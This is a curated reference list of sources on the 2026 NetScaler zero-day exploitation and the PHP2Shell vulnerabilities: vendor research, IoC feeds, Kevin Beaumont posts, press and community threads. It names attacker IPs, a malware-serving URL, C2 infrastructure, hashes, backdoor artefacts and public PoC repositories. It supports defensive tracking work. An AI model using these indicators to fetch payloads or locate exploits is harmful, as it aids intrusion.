86Rapid7 - "NetScaler intrusions chaining CVE-2026-88771 and CVE-2026-88779" (Rapid7 Analysis, published 19 Oct, updated 22 Oct; first-hand IR on an affected 14.1 appliance compromised in early October: confirmed two-CVE chain, repeated post-reboot crash-handler execution, HA-aware persistence, Go recon scanner, nsvmd FreeBSD proxy, staged config/loot collection with confirmed exfil via the web interface; six hashes, 13 IPs, one C2 domain and on-appliance paths; YARA rules for Intelligence Hub customers)Technical researchhttps://www.rapid7.com/blog/post/ra-netscaler-intrusions-chaining-cve-2026-88771-and-cve-2026-88779/
87Rubrik Zero Labs - "From Databases to Dialplans: Uncovering Platypus Deployment Attempts" (15 Oct; operator scripts reusing the entretiensol[.]com Platypus distribution infrastructure across Oracle-to-Windows/AD (ora23.sh, RTA23W scheduled task, rt23o.ps1, system-health.exe / health-monitor.exe) and Redis/Asterisk VoIP workflows (/tmp/system-health, rte_go.sh); Rubrik explicitly found no evidence these attacks exploited the NetScaler CVE; 12 file hashes, 173.255.247.97, one YARA rule; full IoC feed limited to RZL customers)Technical researchhttps://zerolabs.rubrik.com/blog/databases-dialplans-uncovering-platypus-deployment-attempts
88ExtraHop - "Anatomy of an Attack: NetScaler Exploitation, Hidden Web Shells, and Internal Pivots" (19 Oct; network-detection synthesis of earlier vendor/IR findings: inspect AddHandler/AddType/Alias/AliasMatch changes, non-PHP files configured as PHP, unusual outbound and east-west connections from NSIP/SNIP addresses; older observations cited as background, not fresh exploitation evidence)Technical researchhttps://www.extrahop.com/blog/aoa-netscaler-exploitation-hidden-web-shells-and-internal-pivots
89Abstract Security - PHP2Shell: Critical PHP RCE Vulnerabilities (21 Oct; technical breakdown: CVE-2026-109618 rawkey OOM path needs a >1MB request body and is blockable at the edge with a size gate; CVE-2026-109619 targets the session.upload_progress callback with a ~450-byte body that size-based WAF rules do not catch; Snort/Suricata rules)Technical researchhttps://www.abstract.security/blog/php2shell-critical-php-rce-vulnerabilities-cve-2026-109618-and-cve-2026-109619
90Zscaler ThreatLabz - CVE-2026-109618 and CVE-2026-109619: PHP2Shell (21 Oct; use-after-free analysis of both bugs, the chainability of the pair, and memory/credential-disclosure impact)Technical researchhttps://www.zscaler.com/blogs/security-research/cve-2026-109618-and-cve-2026-109619-php-vulnerable-unauthenticated-rce
91watchTowr - PHP2Shell FAQ (CVE-2026-109618 & CVE-2026-109619) (updated as details emerge; confirmed the leaked vulnerabilities were real on 20 Oct, exploitation in the wild through its Attacker Eye honeypot network from 21 Oct; older unsupported branches including PHP 5 also affected)Technical researchhttps://watchtowr.com/intelligence/php-cve-2026-109618-faq/
92Sansec - PHP2Shell: PHP RCE (CVE-2026-109618, CVE-2026-109619) (21 Oct, updated 22 Oct: public PoCs do not work against a default PHP install, several need an added LFI bug; mass exploitation less likely than first expected but patch anyway; lists affected CMS versions; notes the Dutch precautionary shutdowns on 21 Oct)Technical researchhttps://sansec.io/research/php2shell
93Beazley Security advisory (updated Sep 29) - IoC table incl. Lupovis honeypot IPsTechnical researchhttps://beazley.security/alerts-advisories/critical-vulnerability-in-citrix-netscaler-zero-day-prompts-emergency-shutdowns-cve-2026-88771-cve-2026-88772
94Corelight - Hunting Citrix NetScaler zero-days (Zeek queries, Sep 28)Technical researchhttps://corelight.com/blog/hunting-citrix-netscaler-zero-days-corelight
95Elastic detection rule - Potential NetScaler Log Poisoning Command Injection Attempt (merged Sep 28)Technical researchhttps://github.com/elastic/detection-rules/blob/main/rules/network/initial_access_netscaler_log_poisoning_command_injection.toml
96SigmaHQ pull request #6352 - NetScaler auth endpoint shell metacharacters (open, Sep 29)Technical researchhttps://github.com/SigmaHQ/sigma/pull/6352
97Nuclei templates pull request #17336 - CVE-2026-88771 active probe (open, Sep 28)Technical researchhttps://github.com/projectdiscovery/nuclei-templates/pull/17336
98eSentire TRU - Update: ongoing exploitation of NetScaler CVE-2026-88771 / -88772 (first-hand IR, Sep 29); "More Shells Than a Seafood Buffet" cluster analysis (blog, Oct 6: four clusters A-D with hashes, timing and tooling)Technical researchhttps://www.esentire.com/security-advisories/update-ongoing-exploitation-of-citrix-netscaler-adc-and-netscaler-gateway-vulnerabilities-cve-2026-88771-cve-2026-88772
99eSentire TRU blog - "More Shells Than a Seafood Buffet: Tracking Citrix NetScaler Exploitation Activities (CVE-2026-88771)" (Oct 6; four clusters: A pre-disclosure nsgtrust.deb webshell, B Platypus via 62.133.62.80 at 3 customers ~24h post-disclosure, C update_c08937.pl via 64.94.85.67 at 4 customers using the watchTowr PoC, D Python reverse shell from 23.27.143.20; notes LLM-style comments in the Perl installer)Technical researchhttps://www.esentire.com/blog/more-shells-than-a-seafood-buffet-tracking-citrix-netscaler-exploitation-activities-cve-2026-88771
100Lumen / Black Lotus Labs - expanded JDY IoT and SOHO botnet research (cited by eSentire for the Platypus/China-nexus association in Cluster B)Technical researchhttps://www.lumen.com/blog/en-us/expanded-jdy-iot-and-soho-botnet-enables-rapid-vulnerability-exploitation
101Beazley Security Labs - BSL-A1216 advisory (first published Sep 26; updates 2-4, Sep 27-29; Update 5 Oct 2; Update 6 Oct 4): consolidated IoCs and hunting commandsTechnical researchhttps://labs.beazley.security/advisories/BSL-A1216
102watchTowr (@watchtowrcyber) - "the watchTowr Labs team has now successfully reproduced this vulnerability" (Oct 3 X post; the vulnerability is not named in the text, understood to be the new SAML issue)Technical researchhttps://x.com/watchtowrcyber/status/2106177591438958751
103watchTowr (@watchtowrcyber) on X, Sep 26 - "Unpatched, 0days. Exploited in-the-wild - discovered during forensics."Technical researchhttps://x.com/watchtowrcyber/status/2103972792043479307
104CyberMaxx - Patches required: Citrix NetScaler vulns exploited in the wild (IoC notes)Technical researchhttps://www.cybermaxx.com/resources/patches-required-citrix-netscaler-vulns-exploited-in-the-wild-cve-2026-88771-and-cve-2026-88772/
105watchTowr - IoC repository for CVE-2026-88771 (GitHub; behavioral indicators, host artifacts, backdoor gw_health account, 47 source IPs, OOB callback domains, Sliver C2 indicators and URI regex, 5 SHA-256 hashes, hunting commands)Telemetry and IoCshttps://github.com/watchtowrlabs/citrix-netscaler-cve-2026-88771-iocs
106GreyNoise - Swarming Against Citrix 0-Day Exploitation (TLP:CLEAR IoCs, Sep 28)Telemetry and IoCshttps://www.greynoise.io/blog/swarming-against-citrix-0-day-exploitation
107GreyNoise Chronicle - GNTL-20260928 CVE-2026-88771 timelineTelemetry and IoCshttps://www.greynoise.io/chronicle/gntl-20260928-citrix-cve-2026-88771
108GreyNoise Visualizer - IP 149.104.78.141Telemetry and IoCshttps://viz.greynoise.io/ips/149.104.78.141
109GreyNoise tag - Citrix NetScaler CVE-2026-88771 Login Command Injection RCE AttemptTelemetry and IoCshttps://viz.greynoise.io/tags/citrix-netscaler-cve-2026-88771-login-command-injection-rce-attempt
110CrowdSec VulnTracking report - CVE-2026-88771: A Patched Box Is Not a Clean Box (Oct 19; 308 signals Sep 28-Oct 18, 24 unique source IPs since Sep 22 on the Live Exploit Tracker, pre-disclosure attempts Sep 22-26, watchTowr research fleet 38% of CTI-linked signals, one Russian Prospero OOO address with 107 signals Oct 10-15, no virtual-patching rule in the CrowdSec Hub)Telemetry and IoCshttps://www.crowdsec.net/vulntracking-report/cve-2026-88771-citrix-netscaler-pre-auth-command-injection
111IFIN - Multiple Citrix Netscaler 0-Days Exploited (tracking thread, from Sep 26; observables "shared without restriction")Telemetry and IoCshttps://ifin.network/t/multiple-citrix-netscaler-0-days-exploited/867
112VirusTotal - Perl file b9b0a438... (first submitted Oct 2 17:29 UTC; 3 of 75 engines by late 2 Oct); a Nextron THOR rule for CVE-2026-88771 and a community comment tie it to NetScaler exploitationTelemetry and IoCshttps://www.virustotal.com/gui/file/b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63
113VirusTotal - ELF Sliver implant 0188b0eb... (31 of 75 engines; first submitted 2 Oct 11:49 UTC); served from f.pylrk.cc/HaKi2ufpiQ8AeVTZ/host, TLP:CLEAR malware analysis reportTelemetry and IoCshttps://www.virustotal.com/gui/file/0188b0eba4b01c4fb838df9d1d76c76d7f1dc22897e25161975b606c134c1027
114Censys advisory - NetScaler exposure (42,735 hosts, Sep 28); original advisory URL renumbered - now redirects to the CVE-2026-88771/88772 advisory pageTelemetry and IoCshttps://censys.com/advisory/cve-2026-88771-cve-2026-88772/
115Defused (@DefusedCyber) on X, Sep 29 - decoy hits across multiple CVE-2026-88771 pathsTelemetry and IoCshttps://x.com/DefusedCyber/status/2104888497693708505
116Lupovis (@LupovisDefence) on X, Sep 28 - decoys catch CVE-2026-88771 exploitation hours after the PoCTelemetry and IoCshttps://x.com/lupovisdefence/status/2104595071362326680
117Beaumont, Sep 27 - chained CVEs, webshells all September, "Probably nation state aligned"Kevin Beaumonthttps://cyberplace.social/@GossiTheDog/117343729453093307
118Beaumont, Sep 27 - patches live; detection script behind NDA; patching does not remove backdoorsKevin Beaumonthttps://cyberplace.social/@GossiTheDog/117343821114841048
119Beaumont, Sep 27 - Console check misses attempts when logs have rotatedKevin Beaumonthttps://cyberplace.social/@GossiTheDog/117345540231975640
120Beaumont, Sep 28 22:49 UTC - names "PitScaler", >100 victim orgs (his claim)Kevin Beaumonthttps://cyberplace.social/@GossiTheDog/117351107654208046
121Beaumont, Sep 28 23:02 UTC - Citrix checker incomplete (suid /bin/sh)Kevin Beaumonthttps://cyberplace.social/@GossiTheDog/117351155381900219
122Beaumont, Sep 29 04:39 UTC - mass exploitation, <10% patched (his claim)Kevin Beaumonthttps://cyberplace.social/@GossiTheDog/117352481501981552
123Beaumont, Sep 29 06:18 UTC - public message to the NSA (his unverified claim)Kevin Beaumonthttps://cyberplace.social/@GossiTheDog/117352869498139711
124Beaumont, Sep 29 16:12 UTC - IR vendors publishing victim-unique webshell namesKevin Beaumonthttps://cyberplace.social/@GossiTheDog/117355208096613386
125Beaumont, Sep 28 15:13 UTC - GitHub "PoCs" for the new Citrix vulns are "fake AI slop"Kevin Beaumonthttps://cyberplace.social/@GossiTheDog/117349313638958333
126Beaumont, Sep 29 18:32 UTC - Dutch government shuts down all Citrix NetScalers (relaying @bert_hubert)Kevin Beaumonthttps://cyberplace.social/@GossiTheDog/117355758746619146
127Beaumont, Oct 1 00:12 UTC - Arctic Wolf IoCs cover follow-up "spray and pray" activity, not the early-September actorKevin Beaumonthttps://cyberplace.social/@GossiTheDog/117362758120876296
128Beaumont, Oct 2 19:01 UTC - patched 13.1 and 14.1 honeypots are crashing; "we may have #PitScaler 2 on our hands" (with two screenshots of an unattributed write-up)Kevin Beaumonthttps://cyberplace.social/@GossiTheDog/117372857146978531
129Beaumont, Oct 2 20:00 UTC - Citrix has published a blog on the new SAML issue (edited 20:15 UTC: "pitboss will execute" softened to "something will execute")Kevin Beaumonthttps://cyberplace.social/@GossiTheDog/117373090409884785
130Beaumont, Oct 2 19:02 UTC - "to be confirmed but it looks like the pitboss fix is bypassable"Kevin Beaumonthttps://cyberplace.social/@GossiTheDog/117372864244958549
131Beaumont, Oct 2 19:19 UTC - one patched honeypot is running a downloaded binary; "sprayed and prayed"Kevin Beaumonthttps://cyberplace.social/@GossiTheDog/117372929427365765
132Beaumont, Oct 2 23:25 UTC - "the policy citrix gave out doesn't work for me" (reply to O_P about a responder policy from Citrix Support)Kevin Beaumonthttps://cyberplace.social/@GossiTheDog/117373896333693635
133Beaumont, Oct 3 01:40 UTC - "The Citrix support mitigations don't appear to work" (with a screenshot of an r/Citrix thread)Kevin Beaumonthttps://cyberplace.social/@GossiTheDog/117374427108683985
134Security Online (Oct 9) - Citrix NetScaler vulnerability CVE-2026-107406 is critical (quotes Citrix customer guidance: not aware of any unmitigated exploits)Press and vendor coveragehttps://securityonline.info/citrix-netscaler-vulnerability-cve-2026-107406
135The Register (Oct 9) - Citrix gives NetScaler admins another critical reason to patch (CVE-2026-107406 coverage; notes Citrix did not say whether it was exploited as a zero-day before disclosure)Press and vendor coveragehttps://www.theregister.com/security/2026/10/09/citrix-gives-netscaler-admins-another-critical-reason-to-patch/5302212
136The Hacker News (Oct 9) - Citrix Patches Critical NetScaler Flaw That Could Enable RCE in SAML DeploymentsPress and vendor coveragehttps://thehackernews.com/2026/10/citrix-patches-critical-netscaler-flaw.html
137SecurityWeek (Oct 9) - Citrix Urges Immediate Patching of Critical NetScaler VulnerabilityPress and vendor coveragehttps://www.securityweek.com/citrix-urges-immediate-patching-of-critical-netscaler-vulnerability
138Cybersecurity News - "Citrix NetScaler Keeps Rebooting Following the 0-Day Patch" (Guru Baran, Oct 3; page shows only the date; secondary, Reddit-based)Press and vendor coveragehttps://cybersecuritynews.com/citrix-netscaler-0-day-patch/
139BleepingComputer (Sep 29) - Hackers exploit Citrix NetScaler zero-day to deploy web shellsPress and vendor coveragehttps://www.bleepingcomputer.com/news/security/hackers-exploit-citrix-netscaler-zero-day-to-deploy-web-shells/
140BleepingComputer (Sep 27) - Citrix admins warned to shut down NetScalersPress and vendor coveragehttps://www.bleepingcomputer.com/news/security/citrix-admins-warned-to-shut-down-netscalers-over-2-exploited-zero-days/
141The Stack (Oct 1) - Banks, gov'ts, telcos hit by hackers amid escalating NetScaler incidentPress and vendor coveragehttps://www.thestack.technology/banks-govts-telcos-hit-by-hackers-amid-escalating-netscaler-incident-2/
142Help Net Security (Sep 30) - Suspected state-sponsored hackers exploited NetScaler zero-day since early September (CVE-2026-88772)Press and vendor coveragehttps://www.helpnetsecurity.com/2026/09/30/cve-2026-88772-netscaler-exploitation-zero-day/
143Cloudflare changelog (Oct 1) - WAF Release 2026-10-01, Emergency: Citrix NetScaler CVE-2026-88771 managed rulePress and vendor coveragehttps://developers.cloudflare.com/changelog/post/2026-10-01-emergency-waf-release/
144Qualys ThreatPROTECT (Sep 28) - Citrix NetScaler zero-day vulnerabilities exploited in attacksPress and vendor coveragehttps://threatprotect.qualys.com/2026/09/28/citrix-netscaler-adc-and-gateway-zero-day-vulnerabilities-exploited-in-attacks-cve-2026-88771-cve-2026-88772/
145The Hacker News (Oct 1) - Citrix NetScaler post-exploitation payload creates superuser, maps web shell to CSS-like URLs (note: THN has also published unrelated third-party-appliance breach coverage sometimes mislinked to NetScaler)Press and vendor coveragehttps://thehackernews.com/2026/10/citrix-netscaler-post-exploitation.html
146BleepingComputer (Sep 28) - CISA orders feds to patch exploited Citrix flaws by WednesdayPress and vendor coveragehttps://www.bleepingcomputer.com/news/security/cisa-orders-feds-to-patch-exploited-citrix-flaws-by-wednesday/
147SecurityWeek (Sep 28) - Citrix confirms 2 NetScaler zero-daysPress and vendor coveragehttps://www.securityweek.com/citrix-confirms-2-netscaler-zero-days-after-admins-pulled-the-plug/
148The Record (Sep 28) - US, UK warn of Citrix NetScaler zero-day bugPress and vendor coveragehttps://therecord.media/us-uk-warn-of-citrix-netscaler-zero-day-bug
149CyberScoop (Sep 28) - delayed-disclosure anglePress and vendor coveragehttps://cyberscoop.com/citrix-zero-days-delayed-disclosure/
150Sophos CTU (Sep 28) - CVE-2026-88771 / -88772 in active exploitationPress and vendor coveragehttps://www.sophos.com/en-us/blog/citrix-netscaler-cve-2026-88771-cve-2026-88772-in-active-exploitation
151watchTowr FAQ (Sep 27-28)Press and vendor coveragehttps://watchtowr.com/intelligence/citrix-netscaler-zero-day-vulnerabilities-faq/
152The Register (Sep 29) - Custom malware used in Citrix 0-day attacks targeting govt, banks, professional servicesPress and vendor coveragehttps://www.theregister.com/security/2026/09/29/custom-malware-used-in-citrix-0-day-attacks-targeting-govt-banks-professional-services/5299867
153Unit 42 (Palo Alto Networks) - NetScaler zero-days threat brief (Sep 27, updated Sep 28 and Sep 30 with pre- and post-disclosure activity and IoCs)Press and vendor coveragehttps://unit42.paloaltonetworks.com/netscaler-zero-days-exploited/
154Unit 42 (Palo Alto Networks) - Threat Brief: Critical Vulnerabilities in PHP (21 Oct, updated 23 Oct with an agentic-AI post-compromise case at a European government agency; on 25 Oct Unit 42 retracted the 23 Oct association with the PHP2Shell CVEs - the attack ran in the context of a vulnerable PHP application, but initial access could not be confirmed as tied to the specific CVEs; hunting queries remain as broad post-exploitation leads)Press and vendor coveragehttps://unit42.paloaltonetworks.com/cve-2026-109618-cve-2026-109619/
155Cloudflare blog - "There's always a patient zero: Defending the NetScaler front door before the patch" (19 Oct 13:00 UTC; architecture guidance: move the access decision in front of the authentication service with Access and WAF, and have the origin enforce the same boundary - a DNS change and an Access policy alone do not stop direct access to the original IP or an alternate hostname; the desktop transport and DTLS listeners need separate exposure review; its emergency WAF rule for CVE-2026-88771 dates to 1 Oct, outside this release)Press and vendor coveragehttps://blog.cloudflare.com/protect-your-netscaler-gateway/
156Agentbeam / secondary coverage of the StealMyBitcoin challenge - public PHP2Shell challenge on an unpatched PHP 8.4.26 server solved 25 Oct 15:47 UTC after 19.28 hours by a researcher known as killa, with a public PoC (KillaBoi/StealMyBitcoin-PoC, Alpine PHP 8.4.26 lab, ~7 of 10 lab runs); the recovered key did not match the advertised wallet - a lab/research result, not a production or appliance compromisePress and vendor coveragehttps://agentbeam.com/blog/stealmybitcoin-php2shell-challenge-solved-19-hours-what-it-proves
157Cybersecurity Dive (Sep 28) - Shadowserver: more than 20,000 instances exposedPress and vendor coveragehttps://www.cybersecuritydive.com/news/citrix-upgrades-netscaler-exploitation/831502/
158Help Net Security (Sep 29) - NetScaler zero-day exploitation escalates into mass attacks (Lupovis, Censys)Press and vendor coveragehttps://www.helpnetsecurity.com/2026/09/29/netscaler-zero-day-exploitation-escalates-into-mass-attacks-cve-2026-88771/
159Ingeniøren (Sep 30) - Alvorlige huller i kendt software: PET, Forsvaret og Politiet hastelukker systemerPress and vendor coveragehttps://ing.dk/artikel/alvorlige-huller-i-kendt-software-pet-forsvaret-og-politiet-hastelukker-systemer
160SDxCentral (Sep 29) - NetScaler bugs bring critical sectors down in Europe (citing Techzine)Press and vendor coveragehttps://www.sdxcentral.com/news/netscaler-bugs-bring-critical-sectors-down-in-europe/
161Cybersecurity Dive (Sep 29) - Citrix NetScaler exploitation began days before public notificationPress and vendor coveragehttps://www.cybersecuritydive.com/news/citrix-netscaler-exploitation-days-before-notification/831634/
162heise online (Sep 27) - New zero-day exploits in Citrix NetScalerPress and vendor coveragehttps://www.heise.de/en/news/Security-researchers-warn-New-zero-day-exploits-in-Citrix-Netscaler-11467269.html
163heise online (Oct 3 10:23 CEST) - "Netscaler-Admins aufgepasst: Zero-Day verursacht Crashes und Codeausfuehrung" (Dr. Christopher Kunz; cites Beaumont and a watchTowr reproduction claim, confirmed by watchTowr's own post the same day)Press and vendor coveragehttps://www.heise.de/news/Netscaler-Admins-aufgepasst-Zero-Day-verursacht-Crashes-und-Codeausfuehrung-11474971.html
164Dark Reading (Sep 29) - Dual NetScaler Zero-Days Trigger Chaos for Citrix CustomersPress and vendor coveragehttps://www.darkreading.com/vulnerabilities-threats/netscaler-zero-days-chaos-citrix
165Omroep Brabant (Sep 27) - Storing bij ziekenhuizen door kritieke kwetsbaarheden in systeem (Amphia, ETZ, Z-CERT)Press and vendor coveragehttps://www.omroepbrabant.nl/nieuws/6028828/storing-bij-ziekenhuizen-door-kritieke-kwetsbaarheden-in-systeem
166Citrix community forum - "Update: ... Security Bulletin for CVE-2026-88779" thread (customer comments Oct 4-5 on Console labelling and stat denylist global AAA_REQUEST behaviour; unconfirmed, no Citrix reply)Communityhttps://community.citrix.com/forums/topic/259166-update-citrix-netscaler-adc-and-citrix-netscaler-gateway-security-bulletin-for-cve-2026-88779/
167r/Citrix - "vulnerability scans causing netscaler reboots" thread (early Oct; anonymous comments, unverified)Communityhttps://www.reddit.com/r/Citrix/comments/1wvwuno/vulnerability_scans_causing_netscaler_reboots/
168Maurice_Sec on X - notes from the field on NetScaler Console IoC scanner findingsCommunityhttps://x.com/Maurice_Sec/status/2104541998858240487
169r/Citrix - "Netscaler leak?" thread (~Sep 26)Communityhttps://www.reddit.com/r/Citrix/comments/1wqjk9a/netscaler_leak/
170r/Citrix - comment by asmOne (about 29 Sep; date approximate) quoting log-poison attemptsCommunityhttps://www.reddit.com/r/Citrix/comments/1wqjk9a/comment/pcub9wh/
171r/Citrix - "Netscaler 14.1-73-49 update released for CVE-2026-109618 and CVE-2026-109619" (27 Oct 13:23 UTC, u/TheCopernicus, 22 comments; field reports: lukemeup patched three 14.1 HA pairs without issues; silkyjohnstamos reports several customer upgrades that seemed buggy - HA trouble on 13.1, SSL and EDT problems - and calls the release rushed to meet CISA/NSA pressure, his unverified characterisation; independent reverse engineering in the comments confirms the fix is in the binaries with no PHP version bump)Communityhttps://www.reddit.com/r/Citrix/comments/1xgser0/netscaler_1417349_update_released_for/
172r/Citrix - comment by esxiguy on the 73.49 thread (27 Oct; radiff2 comparison of the php binaries in 73.41 and 73.49: new zend_mm_safe_error_ex handler, a reworked JSON parsing engine and php_pcre_replace_impl changes, /bin/php 1168 bytes smaller on 73.49, php -v still 8.1.34 built 22 Oct 2026; and a reply by johntimehole confirming IDA analysis: the fixes from the PHP 8.1-CVE-2026-109618-109619 backport branch are applied, no version bump)Communityhttps://www.reddit.com/r/Citrix/comments/1xgser0/comment/